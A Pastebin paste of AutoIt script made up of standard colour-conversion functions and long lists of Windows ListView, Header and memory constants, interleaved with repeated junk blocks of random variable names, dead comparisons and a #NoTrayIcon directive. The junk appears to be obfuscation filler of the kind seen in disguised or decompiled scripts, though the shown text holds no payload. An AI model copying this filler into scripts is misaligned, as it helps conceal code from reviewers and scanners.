Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Global Const $__colorconstants_hslmax = 240
- Global Const $__colorconstants_rgbmax = 255
- Func _colorconverthsltorgb($avarray)
- If UBound($avarray) <> 3 OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, 0)
- Local $nr, $ng, $nb
- Local $nh = Number($avarray[0]) / $__colorconstants_hslmax
- Local $ns = Number($avarray[1]) / $__colorconstants_hslmax
- Local $nl = Number($avarray[2]) / $__colorconstants_hslmax
- If $ns = 0 Then
- $nr = $nl
- $ng = $nl
- $nb = $nl
- Else
- Local $nvala, $nvalb
- If $nl <= 0.5 Then
- $nvalb = $nl * ($ns + 1)
- Else
- $nvalb = ($nl + $ns) - ($nl * $ns)
- EndIf
- $nvala = 2 * $nl - $nvalb
- $nr = __colorconverthuetorgb($nvala, $nvalb, $nh + 1 / 3)
- $ng = __colorconverthuetorgb($nvala, $nvalb, $nh)
- $nb = __colorconverthuetorgb($nvala, $nvalb, $nh - 1 / 3)
- EndIf
- $avarray[0] = $nr * $__colorconstants_rgbmax
- $avarray[1] = $ng * $__colorconstants_rgbmax
- $avarray[2] = $nb * $__colorconstants_rgbmax
- Return $avarray
- EndFunc
- Func __colorconverthuetorgb($na, $nb, $nh)
- If $nh < 0 Then $nh += 1
- If $nh > 1 Then $nh -= 1
- If (6 * $nh) < 1 Then Return $na + ($nb - $na) * 6 * $nh
- If (2 * $nh) < 1 Then Return $nb
- If (3 * $nh) < 2 Then Return $na + ($nb - $na) * 6 * (2 / 3 - $nh)
- Return $na
- EndFunc
- Func _colorconvertrgbtohsl($avarray)
- If UBound($avarray) <> 3 OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, 0)
- Local $nh, $ns, $nl
- Local $nr = Number($avarray[0]) / $__colorconstants_rgbmax
- Local $ng = Number($avarray[1]) / $__colorconstants_rgbmax
- Local $nb = Number($avarray[2]) / $__colorconstants_rgbmax
- Local $nmax = $nr
- If $nmax < $ng Then $nmax = $ng
- If $nmax < $nb Then $nmax = $nb
- Local $nmin = $nr
- If $nmin > $ng Then $nmin = $ng
- If $nmin > $nb Then $nmin = $nb
- Local $nminmaxsum = ($nmax + $nmin)
- Local $nminmaxdiff = ($nmax - $nmin)
- $nl = $nminmaxsum / 2
- If $nminmaxdiff = 0 Then
- $nh = 0
- $ns = 0
- Else
- If $nl < 0.5 Then
- $ns = $nminmaxdiff / $nminmaxsum
- Else
- $ns = $nminmaxdiff / (2 - $nminmaxsum)
- EndIf
- Switch $nmax
- Case $nr
- $nh = ($ng - $nb) / (6 * $nminmaxdiff)
- Case $ng
- $nh = ($nb - $nr) / (6 * $nminmaxdiff) + 1 / 3
- Case $nb
- $nh = ($nr - $ng) / (6 * $nminmaxdiff) + 2 / 3
- EndSwitch
- If $nh < 0 Then $nh += 1
- If $nh > 1 Then $nh -= 1
- EndIf
- $avarray[0] = $nh * $__colorconstants_hslmax
- $avarray[1] = $ns * $__colorconstants_hslmax
- $avarray[2] = $nl * $__colorconstants_hslmax
- Return $avarray
- EndFunc
- Func _colorgetblue($ncolor)
- Return BitAND($ncolor, 255)
- EndFunc
- Func _colorgetgreen($ncolor)
- Return BitAND(BitShift($ncolor, 8), 255)
- EndFunc
- Func _colorgetred($ncolor)
- Return BitAND(BitShift($ncolor, 16), 255)
- EndFunc
- Func _colorgetcolorref($ncolor, $curext = @extended)
- If BitAND($ncolor, -16777216) Then Return SetError(1, 0, 0)
- Local $acolor[3]
- $acolor[2] = BitAND(BitShift($ncolor, 16), 255)
- $acolor[1] = BitAND(BitShift($ncolor, 8), 255)
- $acolor[0] = BitAND($ncolor, 255)
- Return SetExtended($curext, $acolor)
- EndFunc
- Func _colorgetrgb($ncolor, $curext = @extended)
- If BitAND($ncolor, -16777216) Then Return SetError(1, 0, 0)
- Local $acolor[3]
- $acolor[0] = BitAND(BitShift($ncolor, 16), 255)
- $acolor[1] = BitAND(BitShift($ncolor, 8), 255)
- $acolor[2] = BitAND($ncolor, 255)
- Return SetExtended($curext, $acolor)
- EndFunc
- Func _colorsetcolorref($acolor, $curext = @extended)
- If UBound($acolor) <> 3 Then Return SetError(1, 0, -1)
- Local $ncolor = 0, $icolor
- For $i = 2 To 0 Step -1
- $ncolor = BitShift($ncolor, -8)
- $icolor = $acolor[$i]
- If $icolor < 0 OR $icolor > 255 Then Return SetError(2, $i, -1)
- $ncolor += $icolor
- Next
- Return SetExtended($curext, $ncolor)
- EndFunc
- Func _colorsetrgb($acolor, $curext = @extended)
- If UBound($acolor) <> 3 Then Return SetError(1, 0, -1)
- Local $ncolor = 0, $icolor
- For $i = 0 To 2
- $ncolor = BitShift($ncolor, -8)
- $icolor = $acolor[$i]
- If $icolor < 0 OR $icolor > 255 Then Return SetError(2, 0, -1)
- $ncolor += $icolor
- Next
- Return SetExtended($curext, $ncolor)
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- #NoTrayIcon
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- #Region
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- #AutoIt3Wrapper_UseUpx=n
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- #EndRegion
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Global Const $lvs_alignleft = 2048
- Global Const $lvs_alignmask = 3072
- Global Const $lvs_aligntop = 0
- Global Const $lvs_autoarrange = 256
- Global Const $lvs_default = 13
- Global Const $lvs_editlabels = 512
- Global Const $lvs_icon = 0
- Global Const $lvs_list = 3
- Global Const $lvs_nocolumnheader = 16384
- Global Const $lvs_nolabelwrap = 128
- Global Const $lvs_noscroll = 8192
- Global Const $lvs_nosortheader = 32768
- Global Const $lvs_ownerdata = 4096
- Global Const $lvs_ownerdrawfixed = 1024
- Global Const $lvs_report = 1
- Global Const $lvs_shareimagelists = 64
- Global Const $lvs_showselalways = 8
- Global Const $lvs_singlesel = 4
- Global Const $lvs_smallicon = 2
- Global Const $lvs_sortascending = 16
- Global Const $lvs_sortdescending = 32
- Global Const $lvs_typemask = 3
- Global Const $lvs_typestylemask = 64512
- Global Const $lvs_ex_autoautoarrange = 16777216
- Global Const $lvs_ex_autocheckselect = 134217728
- Global Const $lvs_ex_autosizecolumns = 268435456
- Global Const $lvs_ex_borderselect = 32768
- Global Const $lvs_ex_checkboxes = 4
- Global Const $lvs_ex_columnoverflow = -2147483648
- Global Const $lvs_ex_columnsnappoints = 1073741824
- Global Const $lvs_ex_doublebuffer = 65536
- Global Const $lvs_ex_flatsb = 256
- Global Const $lvs_ex_fullrowselect = 32
- Global Const $lvs_ex_gridlines = 1
- Global Const $lvs_ex_headerdragdrop = 16
- Global Const $lvs_ex_headerinallviews = 33554432
- Global Const $lvs_ex_hidelabels = 131072
- Global Const $lvs_ex_infotip = 1024
- Global Const $lvs_ex_justifycolumns = 2097152
- Global Const $lvs_ex_labeltip = 16384
- Global Const $lvs_ex_multiworkareas = 8192
- Global Const $lvs_ex_oneclickactivate = 64
- Global Const $lvs_ex_regional = 512
- Global Const $lvs_ex_simpleselect = 1048576
- Global Const $lvs_ex_snaptogrid = 524288
- Global Const $lvs_ex_subitemimages = 2
- Global Const $lvs_ex_trackselect = 8
- Global Const $lvs_ex_transparentbkgnd = 4194304
- Global Const $lvs_ex_transparentshadowtext = 8388608
- Global Const $lvs_ex_twoclickactivate = 128
- Global Const $lvs_ex_underlinecold = 4096
- Global Const $lvs_ex_underlinehot = 2048
- Global Const $lvgs_normal = 0
- Global Const $lvgs_collapsed = 1
- Global Const $lvgs_hidden = 2
- Global Const $lvgs_noheader = 4
- Global Const $lvgs_collapsible = 8
- Global Const $lvgs_focused = 16
- Global Const $lvgs_selected = 32
- Global Const $lvgs_subseted = 64
- Global Const $lvgs_subsetlinkfocused = 128
- Global Const $lvggr_group = 0
- Global Const $lvggr_header = 1
- Global Const $lvggr_label = 2
- Global Const $lvggr_subsetlink = 3
- Global Const $lv_err = -1
- Global Const $lvbkif_source_none = 0
- Global Const $lvbkif_source_hbitmap = 1
- Global Const $lvbkif_source_url = 2
- Global Const $lvbkif_source_mask = 3
- Global Const $lvbkif_style_normal = 0
- Global Const $lvbkif_style_tile = 16
- Global Const $lvbkif_style_mask = 16
- Global Const $lvbkif_flag_tileoffset = 256
- Global Const $lvbkif_type_watermark = 268435456
- Global Const $lv_view_details = 1
- Global Const $lv_view_icon = 0
- Global Const $lv_view_list = 3
- Global Const $lv_view_smallicon = 2
- Global Const $lv_view_tile = 4
- Global Const $lva_alignleft = 1
- Global Const $lva_aligntop = 2
- Global Const $lva_default = 0
- Global Const $lva_snaptogrid = 5
- Global Const $lvcdi_item = 0
- Global Const $lvcdi_group = 1
- Global Const $lvcf_alldata = 63
- Global Const $lvcf_fmt = 1
- Global Const $lvcf_image = 16
- Global Const $lvcfmt_justifymask = 3
- Global Const $lvcf_text = 4
- Global Const $lvcf_width = 2
- Global Const $lvcfmt_bitmap_on_right = 4096
- Global Const $lvcfmt_center = 2
- Global Const $lvcfmt_col_has_images = 32768
- Global Const $lvcfmt_image = 2048
- Global Const $lvcfmt_left = 0
- Global Const $lvcfmt_right = 1
- Global Const $lvcfmt_line_break = 1048576
- Global Const $lvcfmt_fill = 2097152
- Global Const $lvcfmt_wrap = 4194304
- Global Const $lvcfmt_no_title = 8388608
- Global Const $lvcfmt_tile_placementmask = BitOR($lvcfmt_line_break, $lvcfmt_fill)
- Global Const $lvfi_nearestxy = 64
- Global Const $lvfi_param = 1
- Global Const $lvfi_partial = 8
- Global Const $lvfi_string = 2
- Global Const $lvfi_substring = 4
- Global Const $lvfi_wrap = 32
- Global Const $lvga_footer_left = 8
- Global Const $lvga_footer_center = 16
- Global Const $lvga_footer_right = 32
- Global Const $lvga_header_left = 1
- Global Const $lvga_header_center = 2
- Global Const $lvga_header_right = 4
- Global Const $lvgf_align = 8
- Global Const $lvgf_descriptiontop = 1024
- Global Const $lvgf_descriptionbottom = 2048
- Global Const $lvgf_extendedimage = 8192
- Global Const $lvgf_footer = 2
- Global Const $lvgf_groupid = 16
- Global Const $lvgf_header = 1
- Global Const $lvgf_items = 16384
- Global Const $lvgf_none = 0
- Global Const $lvgf_state = 4
- Global Const $lvgf_subset = 32768
- Global Const $lvgf_subsetitems = 65536
- Global Const $lvgf_subtitle = 256
- Global Const $lvgf_task = 512
- Global Const $lvgf_titleimage = 4096
- Global Const $lvht_above = 8
- Global Const $lvht_below = 16
- Global Const $lvht_nowhere = 1
- Global Const $lvht_onitemicon = 2
- Global Const $lvht_onitemlabel = 4
- Global Const $lvht_onitemstateicon = 8
- Global Const $lvht_toleft = 64
- Global Const $lvht_toright = 32
- Global Const $lvht_onitem = BitOR($lvht_onitemicon, $lvht_onitemlabel, $lvht_onitemstateicon)
- Global Const $lvht_ex_group_header = 268435456
- Global Const $lvht_ex_group_footer = 536870912
- Global Const $lvht_ex_group_collapse = 1073741824
- Global Const $lvht_ex_group_background = -2147483648
- Global Const $lvht_ex_group_stateicon = 16777216
- Global Const $lvht_ex_group_subsetlink = 33554432
- Global Const $lvht_ex_group = BitOR($lvht_ex_group_background, $lvht_ex_group_collapse, $lvht_ex_group_footer, $lvht_ex_group_header, $lvht_ex_group_stateicon, $lvht_ex_group_subsetlink)
- Global Const $lvht_ex_oncontents = 67108864
- Global Const $lvht_ex_footer = 134217728
- Global Const $lvif_colfmt = 65536
- Global Const $lvif_columns = 512
- Global Const $lvif_groupid = 256
- Global Const $lvif_image = 2
- Global Const $lvif_indent = 16
- Global Const $lvif_norecompute = 2048
- Global Const $lvif_param = 4
- Global Const $lvif_state = 8
- Global Const $lvif_text = 1
- Global Const $lvim_after = 1
- Global Const $lvir_bounds = 0
- Global Const $lvir_icon = 1
- Global Const $lvir_label = 2
- Global Const $lvir_selectbounds = 3
- Global Const $lvis_cut = 4
- Global Const $lvis_drophilited = 8
- Global Const $lvis_focused = 1
- Global Const $lvis_overlaymask = 3840
- Global Const $lvis_selected = 2
- Global Const $lvis_stateimagemask = 61440
- Global Const $lvm_first = 4096
- Global Const $lvm_approximateviewrect = ($lvm_first + 64)
- Global Const $lvm_arrange = ($lvm_first + 22)
- Global Const $lvm_canceleditlabel = ($lvm_first + 179)
- Global Const $lvm_createdragimage = ($lvm_first + 33)
- Global Const $lvm_deleteallitems = ($lvm_first + 9)
- Global Const $lvm_deletecolumn = ($lvm_first + 28)
- Global Const $lvm_deleteitem = ($lvm_first + 8)
- Global Const $lvm_editlabela = ($lvm_first + 23)
- Global Const $lvm_editlabelw = ($lvm_first + 118)
- Global Const $lvm_editlabel = $lvm_editlabela
- Global Const $lvm_enablegroupview = ($lvm_first + 157)
- Global Const $lvm_ensurevisible = ($lvm_first + 19)
- Global Const $lvm_finditem = ($lvm_first + 13)
- Global Const $lvm_getbkcolor = ($lvm_first + 0)
- Global Const $lvm_getbkimagea = ($lvm_first + 69)
- Global Const $lvm_getbkimagew = ($lvm_first + 139)
- Global Const $lvm_getcallbackmask = ($lvm_first + 10)
- Global Const $lvm_getcolumna = ($lvm_first + 25)
- Global Const $lvm_getcolumnw = ($lvm_first + 95)
- Global Const $lvm_getcolumnorderarray = ($lvm_first + 59)
- Global Const $lvm_getcolumnwidth = ($lvm_first + 29)
- Global Const $lvm_getcountperpage = ($lvm_first + 40)
- Global Const $lvm_geteditcontrol = ($lvm_first + 24)
- Global Const $lvm_getemptytext = ($lvm_first + 204)
- Global Const $lvm_getextendedlistviewstyle = ($lvm_first + 55)
- Global Const $lvm_getfocusedgroup = ($lvm_first + 93)
- Global Const $lvm_getfooterinfo = ($lvm_first + 206)
- Global Const $lvm_getfooteritem = ($lvm_first + 208)
- Global Const $lvm_getfooteritemrect = ($lvm_first + 207)
- Global Const $lvm_getfooterrect = ($lvm_first + 205)
- Global Const $lvm_getgroupcount = ($lvm_first + 152)
- Global Const $lvm_getgroupinfo = ($lvm_first + 149)
- Global Const $lvm_getgroupinfobyindex = ($lvm_first + 153)
- Global Const $lvm_getgroupmetrics = ($lvm_first + 156)
- Global Const $lvm_getgrouprect = ($lvm_first + 98)
- Global Const $lvm_getgroupstate = ($lvm_first + 92)
- Global Const $lvm_getheader = ($lvm_first + 31)
- Global Const $lvm_gethotcursor = ($lvm_first + 63)
- Global Const $lvm_gethotitem = ($lvm_first + 61)
- Global Const $lvm_gethovertime = ($lvm_first + 72)
- Global Const $lvm_getimagelist = ($lvm_first + 2)
- Global Const $lvm_getinsertmark = ($lvm_first + 167)
- Global Const $lvm_getinsertmarkcolor = ($lvm_first + 171)
- Global Const $lvm_getinsertmarkrect = ($lvm_first + 169)
- Global Const $lvm_getisearchstringa = ($lvm_first + 52)
- Global Const $lvm_getisearchstringw = ($lvm_first + 117)
- Global Const $lvm_getitema = ($lvm_first + 5)
- Global Const $lvm_getitemw = ($lvm_first + 75)
- Global Const $lvm_getitemcount = ($lvm_first + 4)
- Global Const $lvm_getitemindexrect = ($lvm_first + 209)
- Global Const $lvm_getitemposition = ($lvm_first + 16)
- Global Const $lvm_getitemrect = ($lvm_first + 14)
- Global Const $lvm_getitemspacing = ($lvm_first + 51)
- Global Const $lvm_getitemstate = ($lvm_first + 44)
- Global Const $lvm_getitemtexta = ($lvm_first + 45)
- Global Const $lvm_getitemtextw = ($lvm_first + 115)
- Global Const $lvm_getnextitem = ($lvm_first + 12)
- Global Const $lvm_getnextitemindex = ($lvm_first + 211)
- Global Const $lvm_getnumberofworkareas = ($lvm_first + 73)
- Global Const $lvm_getorigin = ($lvm_first + 41)
- Global Const $lvm_getoutlinecolor = ($lvm_first + 176)
- Global Const $lvm_getselectedcolumn = ($lvm_first + 174)
- Global Const $lvm_getselectedcount = ($lvm_first + 50)
- Global Const $lvm_getselectionmark = ($lvm_first + 66)
- Global Const $lvm_getstringwidtha = ($lvm_first + 17)
- Global Const $lvm_getstringwidthw = ($lvm_first + 87)
- Global Const $lvm_getsubitemrect = ($lvm_first + 56)
- Global Const $lvm_gettextbkcolor = ($lvm_first + 37)
- Global Const $lvm_gettextcolor = ($lvm_first + 35)
- Global Const $lvm_gettileinfo = ($lvm_first + 165)
- Global Const $lvm_gettileviewinfo = ($lvm_first + 163)
- Global Const $lvm_gettooltips = ($lvm_first + 78)
- Global Const $lvm_gettopindex = ($lvm_first + 39)
- Global Const $lvm_getunicodeformat = 8192 + 6
- Global Const $lvm_getview = ($lvm_first + 143)
- Global Const $lvm_getviewrect = ($lvm_first + 34)
- Global Const $lvm_getworkareas = ($lvm_first + 70)
- Global Const $lvm_hasgroup = ($lvm_first + 161)
- Global Const $lvm_hittest = ($lvm_first + 18)
- Global Const $lvm_insertcolumna = ($lvm_first + 27)
- Global Const $lvm_insertcolumnw = ($lvm_first + 97)
- Global Const $lvm_insertgroup = ($lvm_first + 145)
- Global Const $lvm_insertgroupsorted = ($lvm_first + 159)
- Global Const $lvm_insertitema = ($lvm_first + 7)
- Global Const $lvm_insertitemw = ($lvm_first + 77)
- Global Const $lvm_insertmarkhittest = ($lvm_first + 168)
- Global Const $lvm_isgroupviewenabled = ($lvm_first + 175)
- Global Const $lvm_isitemvisible = ($lvm_first + 182)
- Global Const $lvm_mapidtoindex = ($lvm_first + 181)
- Global Const $lvm_mapindextoid = ($lvm_first + 180)
- Global Const $lvm_movegroup = ($lvm_first + 151)
- Global Const $lvm_redrawitems = ($lvm_first + 21)
- Global Const $lvm_removeallgroups = ($lvm_first + 160)
- Global Const $lvm_removegroup = ($lvm_first + 150)
- Global Const $lvm_scroll = ($lvm_first + 20)
- Global Const $lvm_setbkcolor = ($lvm_first + 1)
- Global Const $lvm_setbkimagea = ($lvm_first + 68)
- Global Const $lvm_setbkimagew = ($lvm_first + 138)
- Global Const $lvm_setcallbackmask = ($lvm_first + 11)
- Global Const $lvm_setcolumna = ($lvm_first + 26)
- Global Const $lvm_setcolumnw = ($lvm_first + 96)
- Global Const $lvm_setcolumnorderarray = ($lvm_first + 58)
- Global Const $lvm_setcolumnwidth = ($lvm_first + 30)
- Global Const $lvm_setextendedlistviewstyle = ($lvm_first + 54)
- Global Const $lvm_setgroupinfo = ($lvm_first + 147)
- Global Const $lvm_setgroupmetrics = ($lvm_first + 155)
- Global Const $lvm_sethotcursor = ($lvm_first + 62)
- Global Const $lvm_sethotitem = ($lvm_first + 60)
- Global Const $lvm_sethovertime = ($lvm_first + 71)
- Global Const $lvm_seticonspacing = ($lvm_first + 53)
- Global Const $lvm_setimagelist = ($lvm_first + 3)
- Global Const $lvm_setinfotip = ($lvm_first + 173)
- Global Const $lvm_setinsertmark = ($lvm_first + 166)
- Global Const $lvm_setinsertmarkcolor = ($lvm_first + 170)
- Global Const $lvm_setitema = ($lvm_first + 6)
- Global Const $lvm_setitemw = ($lvm_first + 76)
- Global Const $lvm_setitemcount = ($lvm_first + 47)
- Global Const $lvm_setitemindexstate = ($lvm_first + 210)
- Global Const $lvm_setitemposition = ($lvm_first + 15)
- Global Const $lvm_setitemposition32 = ($lvm_first + 49)
- Global Const $lvm_setitemstate = ($lvm_first + 43)
- Global Const $lvm_setitemtexta = ($lvm_first + 46)
- Global Const $lvm_setitemtextw = ($lvm_first + 116)
- Global Const $lvm_setoutlinecolor = ($lvm_first + 177)
- Global Const $lvm_setselectedcolumn = ($lvm_first + 140)
- Global Const $lvm_setselectionmark = ($lvm_first + 67)
- Global Const $lvm_settextbkcolor = ($lvm_first + 38)
- Global Const $lvm_settextcolor = ($lvm_first + 36)
- Global Const $lvm_settileinfo = ($lvm_first + 164)
- Global Const $lvm_settileviewinfo = ($lvm_first + 162)
- Global Const $lvm_settilewidth = ($lvm_first + 141)
- Global Const $lvm_settooltips = ($lvm_first + 74)
- Global Const $lvm_setunicodeformat = 8192 + 5
- Global Const $lvm_setview = ($lvm_first + 142)
- Global Const $lvm_setworkareas = ($lvm_first + 65)
- Global Const $lvm_sortgroups = ($lvm_first + 158)
- Global Const $lvm_sortitems = ($lvm_first + 48)
- Global Const $lvm_sortitemsex = ($lvm_first + 81)
- Global Const $lvm_subitemhittest = ($lvm_first + 57)
- Global Const $lvm_update = ($lvm_first + 42)
- Global Const $lvn_first = -100
- Global Const $lvn_last = -199
- Global Const $lvn_begindrag = ($lvn_first - 9)
- Global Const $lvn_beginlabeledita = ($lvn_first - 5)
- Global Const $lvn_beginlabeleditw = ($lvn_first - 75)
- Global Const $lvn_beginrdrag = ($lvn_first - 11)
- Global Const $lvn_beginscroll = ($lvn_first - 80)
- Global Const $lvn_columnclick = ($lvn_first - 8)
- Global Const $lvn_columndropdown = ($lvn_first - 64)
- Global Const $lvn_columnoverflowclick = ($lvn_first - 66)
- Global Const $lvn_deleteallitems = ($lvn_first - 4)
- Global Const $lvn_deleteitem = ($lvn_first - 3)
- Global Const $lvn_endlabeledita = ($lvn_first - 6)
- Global Const $lvn_endlabeleditw = ($lvn_first - 76)
- Global Const $lvn_endscroll = ($lvn_first - 81)
- Global Const $lvn_getdispinfoa = ($lvn_first - 50)
- Global Const $lvn_getdispinfow = ($lvn_first - 77)
- Global Const $lvn_getdispinfo = $lvn_getdispinfoa
- Global Const $lvn_getemptymarkup = ($lvn_first - 87)
- Global Const $lvn_getinfotipa = ($lvn_first - 57)
- Global Const $lvn_getinfotipw = ($lvn_first - 58)
- Global Const $lvn_hottrack = ($lvn_first - 21)
- Global Const $lvn_incrementalsearcha = ($lvn_first - 62)
- Global Const $lvn_incrementalsearchw = ($lvn_first - 63)
- Global Const $lvn_insertitem = ($lvn_first - 2)
- Global Const $lvn_itemactivate = ($lvn_first - 14)
- Global Const $lvn_itemchanged = ($lvn_first - 1)
- Global Const $lvn_itemchanging = ($lvn_first - 0)
- Global Const $lvn_keydown = ($lvn_first - 55)
- Global Const $lvn_linkclick = ($lvn_first - 84)
- Global Const $lvn_marqueebegin = ($lvn_first - 56)
- Global Const $lvn_odcachehint = ($lvn_first - 13)
- Global Const $lvn_odfinditema = ($lvn_first - 52)
- Global Const $lvn_odfinditemw = ($lvn_first - 79)
- Global Const $lvn_odfinditem = $lvn_odfinditema
- Global Const $lvn_odstatechanged = ($lvn_first - 15)
- Global Const $lvn_setdispinfoa = ($lvn_first - 51)
- Global Const $lvn_setdispinfow = ($lvn_first - 78)
- Global Const $lvni_above = 256
- Global Const $lvni_below = 512
- Global Const $lvni_toleft = 1024
- Global Const $lvni_toright = 2048
- Global Const $lvni_all = 0
- Global Const $lvni_cut = 4
- Global Const $lvni_drophilited = 8
- Global Const $lvni_focused = 1
- Global Const $lvni_selected = 2
- Global Const $lvscw_autosize = -1
- Global Const $lvscw_autosize_useheader = -2
- Global Const $lvsicf_noinvalidateall = 1
- Global Const $lvsicf_noscroll = 2
- Global Const $lvsil_normal = 0
- Global Const $lvsil_small = 1
- Global Const $lvsil_state = 2
- Global Const $gui_ss_default_listview = BitOR($lvs_showselalways, $lvs_singlesel)
- Global Const $hdf_left = 0
- Global Const $hdf_right = 1
- Global Const $hdf_center = 2
- Global Const $hdf_justifymask = 3
- Global Const $hdf_bitmap_on_right = 4096
- Global Const $hdf_bitmap = 8192
- Global Const $hdf_string = 16384
- Global Const $hdf_ownerdraw = 32768
- Global Const $hdf_displaymask = 61440
- Global Const $hdf_rtlreading = 4
- Global Const $hdf_sortdown = 512
- Global Const $hdf_image = 2048
- Global Const $hdf_sortup = 1024
- Global Const $hdf_flagmask = 3588
- Global Const $hdi_width = 1
- Global Const $hdi_text = 2
- Global Const $hdi_format = 4
- Global Const $hdi_param = 8
- Global Const $hdi_bitmap = 16
- Global Const $hdi_image = 32
- Global Const $hdi_di_setitem = 64
- Global Const $hdi_order = 128
- Global Const $hdi_filter = 256
- Global Const $hht_nowhere = 1
- Global Const $hht_onheader = 2
- Global Const $hht_ondivider = 4
- Global Const $hht_ondivopen = 8
- Global Const $hht_onfilter = 16
- Global Const $hht_onfilterbutton = 32
- Global Const $hht_above = 256
- Global Const $hht_below = 512
- Global Const $hht_toright = 1024
- Global Const $hht_toleft = 2048
- Global Const $hdm_first = 4608
- Global Const $hdm_clearfilter = $hdm_first + 24
- Global Const $hdm_createdragimage = $hdm_first + 16
- Global Const $hdm_deleteitem = $hdm_first + 2
- Global Const $hdm_editfilter = $hdm_first + 23
- Global Const $hdm_getbitmapmargin = $hdm_first + 21
- Global Const $hdm_getfocuseditem = $hdm_first + 27
- Global Const $hdm_getimagelist = $hdm_first + 9
- Global Const $hdm_getitema = $hdm_first + 3
- Global Const $hdm_getitemw = $hdm_first + 11
- Global Const $hdm_getitemcount = $hdm_first + 0
- Global Const $hdm_getitemdropdownrect = $hdm_first + 25
- Global Const $hdm_getitemrect = $hdm_first + 7
- Global Const $hdm_getorderarray = $hdm_first + 17
- Global Const $hdm_getoverflowrect = $hdm_first + 26
- Global Const $hdm_getunicodeformat = 8192 + 6
- Global Const $hdm_hittest = $hdm_first + 6
- Global Const $hdm_insertitema = $hdm_first + 1
- Global Const $hdm_insertitemw = $hdm_first + 10
- Global Const $hdm_layout = $hdm_first + 5
- Global Const $hdm_ordertoindex = $hdm_first + 15
- Global Const $hdm_setbitmapmargin = $hdm_first + 20
- Global Const $hdm_setfilterchangetimeout = $hdm_first + 22
- Global Const $hdm_setfocuseditem = $hdm_first + 28
- Global Const $hdm_sethotdivider = $hdm_first + 19
- Global Const $hdm_setimagelist = $hdm_first + 8
- Global Const $hdm_setitema = $hdm_first + 4
- Global Const $hdm_setitemw = $hdm_first + 12
- Global Const $hdm_setorderarray = $hdm_first + 18
- Global Const $hdm_setunicodeformat = 8192 + 5
- Global Const $hdn_first = -300
- Global Const $hdn_begindrag = $hdn_first - 10
- Global Const $hdn_begintrack = $hdn_first - 6
- Global Const $hdn_dividerdblclick = $hdn_first - 5
- Global Const $hdn_enddrag = $hdn_first - 11
- Global Const $hdn_endtrack = $hdn_first - 7
- Global Const $hdn_filterbtnclick = $hdn_first - 13
- Global Const $hdn_filterchange = $hdn_first - 12
- Global Const $hdn_getdispinfo = $hdn_first - 9
- Global Const $hdn_itemchanged = $hdn_first - 1
- Global Const $hdn_itemchanging = $hdn_first - 0
- Global Const $hdn_itemclick = $hdn_first - 2
- Global Const $hdn_itemdblclick = $hdn_first - 3
- Global Const $hdn_track = $hdn_first - 8
- Global Const $hdn_begintrackw = $hdn_first - 26
- Global Const $hdn_dividerdblclickw = $hdn_first - 25
- Global Const $hdn_endtrackw = $hdn_first - 27
- Global Const $hdn_getdispinfow = $hdn_first - 29
- Global Const $hdn_itemchangedw = $hdn_first - 21
- Global Const $hdn_itemchangingw = $hdn_first - 20
- Global Const $hdn_itemclickw = $hdn_first - 22
- Global Const $hdn_itemdblclickw = $hdn_first - 23
- Global Const $hdn_trackw = $hdn_first - 28
- Global Const $hds_buttons = 2
- Global Const $hds_checkboxes = 1024
- Global Const $hds_dragdrop = 64
- Global Const $hds_filterbar = 256
- Global Const $hds_flat = 512
- Global Const $hds_fulldrag = 128
- Global Const $hds_hidden = 8
- Global Const $hds_horz = 0
- Global Const $hds_hottrack = 4
- Global Const $hds_nosizing = 2048
- Global Const $hds_overflow = 4096
- Global Const $hds_default = 70
- Global Const $gmem_fixed = 0
- Global Const $gmem_moveable = 2
- Global Const $gmem_nocompact = 16
- Global Const $gmem_nodiscard = 32
- Global Const $gmem_zeroinit = 64
- Global Const $gmem_modify = 128
- Global Const $gmem_discardable = 256
- Global Const $gmem_not_banked = 4096
- Global Const $gmem_share = 8192
- Global Const $gmem_ddeshare = 8192
- Global Const $gmem_notify = 16384
- Global Const $gmem_lower = 4096
- Global Const $gmem_valid_flags = 32626
- Global Const $gmem_invalid_handle = 32768
- Global Const $gptr = $gmem_fixed + $gmem_zeroinit
- Global Const $ghnd = $gmem_moveable + $gmem_zeroinit
- Global Const $mem_commit = 4096
- Global Const $mem_reserve = 8192
- Global Const $mem_top_down = 1048576
- Global Const $mem_shared = 134217728
- Global Const $page_noaccess = 1
- Global Const $page_readonly = 2
- Global Const $page_readwrite = 4
- Global Const $page_execute = 16
- Global Const $page_execute_read = 32
- Global Const $page_execute_readwrite = 64
- Global Const $page_guard = 256
- Global Const $page_nocache = 512
- Global Const $mem_decommit = 16384
- Global Const $mem_release = 32768
- Global Const $tagpoint = "struct;long X;long Y;endstruct"
- Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
- Global Const $tagsize = "struct;long X;long Y;endstruct"
- Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
- Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
- Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
- Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
